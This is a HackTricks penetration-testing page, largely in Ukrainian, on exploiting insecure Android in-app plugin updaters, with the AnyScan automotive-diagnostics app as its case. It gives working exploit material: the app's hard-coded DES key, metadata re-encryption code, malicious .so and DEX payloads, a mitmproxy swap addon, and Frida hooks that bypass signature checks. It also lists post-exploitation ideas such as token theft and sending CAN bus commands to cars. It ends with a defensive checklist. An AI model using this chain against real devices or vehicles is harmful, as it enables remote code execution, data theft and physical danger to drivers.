Небезпечні механізми in‑app оновлень – Remote Code Execution via Malicious Plugins

Reading time: 9 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Багато Android-застосунків реалізують власні канали оновлень “plugin” або “dynamic feature” замість використання Google Play Store. Якщо реалізація ненадійна, атакуючий, який може перехоплювати або підробляти трафік оновлень, може доставити довільний native або Dalvik/ART код, який буде завантажено у процес додатка, що призведе до повного Remote Code Execution (RCE) на пристрої — а в деяких випадках і на будь‑якому зовнішньому пристрої, яким керує додаток (автомобілі, IoT, медичні прилади …).

Ця сторінка підсумовує ланцюжок уразливостей у реальному житті, знайдений у Xtool AnyScan automotive-diagnostics app (v4.40.11 → 4.40.40), та узагальнює техніку, щоб ви могли аудиту інших Android-застосунків і експлуатувати неправильну конфігурацію під час red-team engagement.


0. Quick triage: does the app have an in‑app updater?

Статичні підказки, на які варто звернути увагу в JADX/apktool:

  • Рядки: "update", "plugin", "patch", "upgrade", "hotfix", "bundle", "feature", "asset", "zip".
  • Мережеві кінцеві точки, такі як /update, /plugins, /getUpdateList, /GetUpdateListEx.
  • Крипто-утиліти поруч із шляхами оновлення (DES/AES/RC4; Base64; JSON/XML packs).
  • Динамічні лоадери: System.load, System.loadLibrary, dlopen, DexClassLoader, PathClassLoader.
  • Шляхи розпаковки, що записують у внутрішнє сховище додатка або зовнішнє, а потім одразу завантажують .so/DEX.

Хуки під час виконання для підтвердження:

js
// Frida: log native and dex loading
Java.perform(() => {
const Runtime = Java.use('java.lang.Runtime');
const SystemJ = Java.use('java.lang.System');
const DexClassLoader = Java.use('dalvik.system.DexClassLoader');

SystemJ.load.overload('java.lang.String').implementation = function(p) {
console.log('[System.load] ' + p); return this.load(p);
};
SystemJ.loadLibrary.overload('java.lang.String').implementation = function(n) {
console.log('[System.loadLibrary] ' + n); return this.loadLibrary(n);
};
Runtime.load.overload('java.lang.String').implementation = function(p){
console.log('[Runtime.load] ' + p); return this.load(p);
};
DexClassLoader.$init.implementation = function(dexPath, optDir, libPath, parent) {
console.log(`[DexClassLoader] dex=${dexPath} odex=${optDir} jni=${libPath}`);
return this.$init(dexPath, optDir, libPath, parent);
};
});

1. Виявлення ненадійного TLS TrustManager

  1. Декомпілюйте APK за допомогою jadx / apktool та знайдіть мережевий стек (OkHttp, HttpUrlConnection, Retrofit…).
  2. Шукайте кастомний TrustManager або HostnameVerifier, який сліпо довіряє всім сертифікатам:
java
public static TrustManager[] buildTrustManagers() {
return new TrustManager[]{
new X509TrustManager() {
public void checkClientTrusted(X509Certificate[] chain, String authType) {}
public void checkServerTrusted(X509Certificate[] chain, String authType) {}
public X509Certificate[] getAcceptedIssuers() {return new X509Certificate[]{};}
}
};
}
  1. Якщо є, додаток прийматиме будь-який TLS certificate → ви можете запустити прозорий MITM proxy із self-signed cert:
bash
mitmproxy -p 8080 -s addon.py  # see §4
iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080  # on rooted device / emulator

Якщо TLS pinning застосовано замість небезпечної логіки trust-all, дивіться:

Android Anti Instrumentation And Ssl Pinning Bypass

Make APK Accept CA Certificate


2. Зворотне інженерування метаданих оновлення

У випадку AnyScan кожен запуск додатку виконує HTTPS GET до:

https://apigw.xtoolconnect.com/uhdsvc/UpgradeService.asmx/GetUpdateListEx

Тіло відповіді — це XML-документ, вузли <FileData> якого містять Base64-encoded, DES-ECB encrypted JSON, що описує кожен доступний plugin.

Типові кроки пошуку:

  1. Знайти crypto routine (наприклад, RemoteServiceProxy) і відновити:
  • algorithm (DES / AES / RC4 …)
  • mode of operation (ECB / CBC / GCM …)
  • hard-coded key / IV (commonly 56‑bit DES or 128‑bit AES constants)
  1. Реалізувати функцію заново в Python, щоб decrypt / encrypt метадані:
python
from Crypto.Cipher import DES
from base64 import b64decode, b64encode

KEY = IV = b"\x2A\x10\x2A\x10\x2A\x10\x2A"  # 56-bit key observed in AnyScan

def decrypt_metadata(data_b64: str) -> bytes:
cipher = DES.new(KEY, DES.MODE_ECB)
return cipher.decrypt(b64decode(data_b64))

def encrypt_metadata(plaintext: bytes) -> str:
cipher = DES.new(KEY, DES.MODE_ECB)
return b64encode(cipher.encrypt(plaintext.ljust((len(plaintext)+7)//8*8, b"\x00"))).decode()

Нотатки, зафіксовані в реальних випадках (2023–2025):

  • Метадані часто представлені JSON-within-XML або protobuf; поширені слабкі шифри та статичні ключі.
  • Багато updaters допускають plain HTTP для завантаження фактичного payload, навіть якщо метадані передаються через HTTPS.
  • Плагіни часто unzip-уються у app-internal storage; деякі досі використовують external storage або застаріле requestLegacyExternalStorage, що дозволяє cross-app tampering.

3. Створення зловмисного плагіна

3.1 Шлях до нативної бібліотеки (dlopen/System.load[Library])

  1. Візьміть будь-який легітимний плагін ZIP і замініть нативну бібліотеку на ваш payload:
c
// libscan_x64.so – constructor runs as soon as the library is loaded
__attribute__((constructor))
void init(void){
__android_log_print(ANDROID_LOG_INFO, "PWNED", "Exploit loaded! uid=%d", getuid());
// spawn reverse shell, drop file, etc.
}
bash
$ aarch64-linux-android-gcc -shared -fPIC payload.c -o libscan_x64.so
$ zip -r PWNED.zip libscan_x64.so assets/ meta.txt
  1. Оновіть метадані JSON так, щоб "FileName" : "PWNED.zip" та "DownloadURL" вказували на ваш HTTP‑сервер.
  2. Перешифруйте та закодуйте змінений JSON у Base64, після чого вставте його назад у перехоплений XML.

3.2 Шлях плагіна на основі Dex (DexClassLoader)

Деякі додатки завантажують JAR/APK і підвантажують код через DexClassLoader. Створіть шкідливий DEX, який запускається при завантаженні:

java
// src/pwn/Dropper.java
package pwn;
public class Dropper {
static { // runs on class load
try {
Runtime.getRuntime().exec("sh -c 'id > /data/data/<pkg>/files/pwned' ");
} catch (Throwable t) {}
}
}
bash
# Compile and package to a DEX jar
javac -source 1.8 -target 1.8 -d out/ src/pwn/Dropper.java
jar cf dropper.jar -C out/ .
d8 --output outdex/ dropper.jar
cd outdex && zip -r plugin.jar classes.dex  # the updater will fetch this

Якщо ціль викликає Class.forName("pwn.Dropper"), ваш статичний ініціалізатор виконується; інакше рефлективно перераховуйте завантажені класи за допомогою Frida і викликайте експортований метод.


4. Доставити Payload за допомогою mitmproxy

Приклад addon.py, який непомітно замінює оригінальні метадані:

python
from mitmproxy import http
MOD_XML = open("fake_metadata.xml", "rb").read()

def request(flow: http.HTTPFlow):
if b"/UpgradeService.asmx/GetUpdateListEx" in flow.request.path:
flow.response = http.Response.make(
200,
MOD_XML,
{"Content-Type": "text/xml"}
)

Запустіть простий веб-сервер для розміщення шкідливого ZIP/JAR:

bash
python3 -m http.server 8000 --directory ./payloads

Коли жертва запускає додаток, він:

  • завантажить наш підроблений XML через MITM-канал;
  • розшифрує й розпарсить його за допомогою захардкоженого crypto;
  • завантажить PWNED.zip або plugin.jar → розпакується в приватному сховищі;
  • завантажить включений .so або DEX, миттєво виконуючи наш код з правами додатка (камери, GPS, Bluetooth, файлової системи, …).

Оскільки плагін кешується на диску, backdoor зберігається після перезавантажень і запускається щоразу, коли користувач вибирає відповідну функцію.


4.1 Обхід перевірок підпису/hash (коли присутні)

Якщо updater перевіряє підписи або hash-и, здійсніть hook verification, щоб завжди приймати attacker content:

js
// Frida – make java.security.Signature.verify() return true
Java.perform(() => {
const Sig = Java.use('java.security.Signature');
Sig.verify.overload('[B').implementation = function(a) { return true; };
});

// Less surgical (use only if needed): defeat Arrays.equals() for byte[]
Java.perform(() => {
const Arrays = Java.use('java.util.Arrays');
Arrays.equals.overload('[B', '[B').implementation = function(a, b) { return true; };
});

Також розгляньте можливість заглушування методів постачальника, таких як PluginVerifier.verifySignature(), checkHash(), або short‑circuiting логіки контролю оновлень в Java або JNI.


5. Інші поверхні атаки в updaters (2023–2025)

  • Zip Slip path traversal під час розпаковки плагінів: шкідливі записи типу ../../../../data/data/<pkg>/files/target перезаписують довільні файли. Завжди санітизуйте шляхи записів і використовуйте allow‑lists.
  • External storage staging: якщо додаток записує архів у external storage перед завантаженням, будь-який інший додаток може його підмінити. Scoped Storage або внутрішнє сховище додатка цього уникають.
  • Cleartext downloads: метадані через HTTPS, але payload через HTTP → простий MITM‑swap.
  • Incomplete signature checks: порівнюють лише хеш одного файлу, а не всього архіву; не зв’язують підпис з developer key; приймають будь‑який RSA ключ, присутній в архіві.
  • React Native / Web‑based OTA content: якщо native bridges виконують JS з OTA без суворого підписування, можливе довільне виконання коду в контексті додатка (наприклад, insecure CodePush‑like flows). Забезпечте detached update signing і сувору перевірку.

6. Post-Exploitation Ideas

  • Вкрадіть session cookies, OAuth tokens або JWTs, які зберігає додаток.
  • Розмістіть second‑stage APK і тихо встановіть його через pm install, якщо можливо (деякі додатки вже декларують REQUEST_INSTALL_PACKAGES).
  • Зловживайте підключеним апаратним забезпеченням – у сценарії AnyScan ви можете відправляти довільні OBD‑II / CAN bus команди (відкрити двері, відключити ABS тощо).

Detection & Mitigation Checklist (blue team)

  • Уникайте dynamic code loading і оновлень поза магазином. Віддавайте перевагу Play‑mediated updates. Якщо dynamic plugins є обов’язковими, проєктуйте їх як data‑only bundles і зберігайте виконуваний код в базовому APK.
  • Застосовуйте TLS правильно: ніяких custom trust‑all managers; впроваджуйте pinning де можливо і жорстку network security config, яка забороняє cleartext трафік.
  • Не завантажуйте виконуваний код з поза Google Play. Якщо необхідно — використовуйте detached update signing (наприклад, Ed25519/RSA) з ключем, що належить розробнику, і перевіряйте перед завантаженням. Прив’язуйте метадані до payload (довжина, хеш, версія) і за замовчуванням відмовляйтеся (fail closed).
  • Використовуйте сучасну криптографію (AES‑GCM) з per‑message nonces для метаданих; видаліть hard‑coded keys з клієнтів.
  • Перевіряйте цілісність завантажених архівів: перевіряйте підпис, що охоплює кожен файл, або принаймні перевіряйте manifest з SHA‑256 хешами. Відхиляйте додаткові/невідомі файли.
  • Зберігайте завантаження в app‑internal storage (або scoped storage на Android 10+) і використовуйте права файлів, які запобігають міждодатківському підміненню.
  • Захищайтеся від Zip Slip: нормалізуйте і перевіряйте шляхи записів в zip перед розпаковкою; відкидайте абсолютні шляхи або сегменти ...
  • Розгляньте Play “Code Transparency”, щоб ви і користувачі могли перевірити, що відвантажений DEX/native код відповідає тому, що ви зібрали (compliments but does not replace APK signing).

References

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks